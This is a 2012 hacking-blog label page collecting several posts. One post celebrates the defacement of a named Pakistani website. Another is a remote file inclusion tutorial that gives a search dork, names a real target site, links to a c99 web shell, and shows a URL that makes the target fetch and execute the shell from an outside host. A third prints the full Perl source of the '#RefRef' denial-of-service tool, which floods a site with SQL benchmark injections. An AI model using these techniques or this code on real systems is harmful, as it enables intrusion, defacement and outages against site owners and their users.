Showing posts with label shell codeing. Show all posts

Upload shell to joomal easy way

Saturday, February 18, 2012 // by Hacking Beast Editor // Labels: exploit, hacking websites, joomal hacking, joomal shell, myybb hacking, password restore, shell codeing, shell upload, tips and tricks, tools // 0 comments

I was just searching for some good exploits and i come to this one when i saw this tutorial i was quite impressed it is a easy tutorials and i am sure new people in this feild will surely like this tutorial.

This tutorial is not owned by the Hacking Beast we are just publishing this video on our websites so that it can reach to more people by our platform.

The content on Hacking Beast like Hacking Articles, Cyber News etc are provided by many sources ( email,messages,internet etc) , we do not take any responsibility of your activities. The news provided by us on this site is gathered from various sources. if any person have some FAQ's in their mind they can Contact Us. and you can also read our Disclamier for more info. Thank You !

If you enjoyed Hacking Beast Articles , Make sure you subscribe to our RSS feed. Stay Updated about latest Hacking News, Tips and Tricks,and Cyber News.! and recieve all our emails and latest posts directly in your inbox to enjoy fast and easy reading . Thank You!

Pakistan website hacked by Team NUTS

Friday, February 10, 2012 // by Hacking Beast Editor // Labels: Cyber News, Cyber Security, NUTS, shell codeing, sql, tech news, vulnerability // 0 comments

Team NUTS one of the India's popular hackers group has hacked a Pakistan website. Team NUTS has also striked on many other pakistan websites. This time NUTS has hacked on an Indian website for security issues

Hacked site and Mirror link :-

http://rehmatsurgical.com/
http://attack-h.org/attack/?id=33609

Remote File Inclusion exploit

Tuesday, February 7, 2012 // by Hacking Beast Editor // Labels: exploit, shell codeing, tips and tricks, tools, vulnerability, website hacking // 0 comments

Well we got few emails from our readers, they wanted to learn a easy way of hack a website using shell. So this article is for those persons who are new to this field. This a very simple technique you just need to use your brain.

Searching the Vulnerability

Remote File inclusion vulnerability is usually occured in those sites which have a navigation similar to the below one

www.Targetsite.com/index.php?page=Anything

To find the vulnerability the hacker will most commonly use the following Google Dork

“inurl:index.php?page=”

This will show all the pages which has “index.php?page=” in their URL, Now to test whether the website is vulnerable to Remote file Inclusion or not the hacker use the following command

www.targetsite.com/index.php?page=www.google.com

Lets say that the target website is http://www.cbspk.com

So the hacker url will become

http://www.cbspk.com/v2/index.php?page=http://www.google.com

If after executing the command the homepage of the google shows up then then the website is vulnerable to this attack if it does not come up then you should look for a new target. In my case after executing the above command in the address bar Google homepage shows up indicating that the website is vulnerable to this attack

Now the hacker would upload the shells to gain access. The most common shells used are c99 shell or r57 shell. I would use c99 shell. You can download c99 shell from the link below:

http://www.4shared.com/file/107930574/287131f0/c99shell.html?aff=7637829

The hacker would first upload the shells to a webhosting site such as ripway.com, 110mb.com etc.

Now here is how a hacker would execute the shells to gain access. Lets say that the url of the shell is

http://h1.ripway.com/XXX.txt

Now here is how a hacker would execute the following command to gain access

http://www.cbspk.com/v2/index.php?page=http://h1.ripway.com/XXX/c99.txt?

Remember to add “?” at the end of url or else the shell will not execute. Now the hacker is inside the website and he could do anything with it

This post was give to us by our team member we thanks him for his contribution.
Mohit Sharma.
Mohitsharma45@yahoo.com

Hacking Beast first guide on NetBios Hacking !

Tuesday, August 30, 2011 // by Hacking Beast Editor // Labels: Cyber News, Cyber Security, New Releases, shell codeing // 0 comments

View Online || Downalod

Hacking beast first guide on NetBios hacking . A complete guide for beginners .

Presented by

Team Hacking Beast

Written by

Ashray Anand

Hackers can use Google+ servers to make DDos attack on ANY website!

// by Hacking Beast Editor // Labels: Cyber News, Cyber Security, ddos, exploit, google, google+, googlevs, hackers news, hacking, knodledge, New Releases, shell codeing // 0 comments

A new security hole has been discovered on the Google+ servers that would allow potential hackers to make DDos using Google’s Bandwidth.

Google+ has been under testing for quite sometime now and a tester at an Italian Security firm has reported that the Google+ servers can be used to make DDos requests to other websites.

The original sighting of this reports can be seen at IHTeam Security Blog by Simone Quatrini. He demonstrates how users can make use of Google’s server to act as a proxy and fetch content of any desired website. It is also noted that Google’s servers are more anonymous than other servers.

Here is the video for the news :

To Download the DDoS Source Code Here

DDOS tool of Anon #RefRef Source Code is Now Available !

Thursday, August 25, 2011 // by Hacking Beast Editor // Labels: annonymus, Cyber News, Cyber Security, database, ddos, FACEBOOK, hackers news, knodledge, New Releases, servers, shell codeing, social media, softwares, technology, tips and tricks, website hacking // 0 comments

Long Awaited DDOS tool of Anon #RefRef Source Code is Now Available. The tool has been programed in perl, python & javascript. First it was tested on pastebin, and as expected it get success.

Source Code Of #RefRef :

#!usr/bin/perl
#RefRef (C) Anonymous 2011
 
use LWP::UserAgent;
 
my $nave = LWP::UserAgent->new;
$nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
$nave->timeout(5);
 
head();
if($ARGV[0]) {
now($ARGV[0]);
} else {
sintax();
}
copyright();
 
sub now {
print "\n[+] Target : ".$_[0]."\n";
print "\n[+] Starting the attack\n[+] Info : control+c for stop attack\n\n";
while(true) {
$SIG{INT} = \&adios;
$code = toma($_[0]." and (select+benchmark(99999999999,0x70726f62616e646f70726f62616e646f70726f62616e646f))");
unless($code->is_success) {
print "[+] Web Off\n";
copyright();
}}}
 
sub adios {
print "\n[+] Stoping attack\n";
copyright();
}
 
sub head {
print "\n\n-- == #RefRef == --\n\n";
}
 
sub copyright {
print "\n\n-- == RefRef == --\n\n";
exit(1);
}
 
sub sintax {
print "\n[+] Sintax : $0 \n";
}
 
sub toma {
return $nave->get($_[0]);
}
 
# &#191; The End ?

This code is provided by Anonymous on the official website of the tool HERE

Upload shell to joomal easy way

Pakistan website hacked by Team NUTS

Remote File Inclusion exploit

Hacking Beast first guide on NetBios Hacking !

Hackers can use Google+ servers to make DDos attack on ANY website!

DDOS tool of Anon #RefRef Source Code is Now Available !

Like us on FB

Popular Posts

Translate

Labels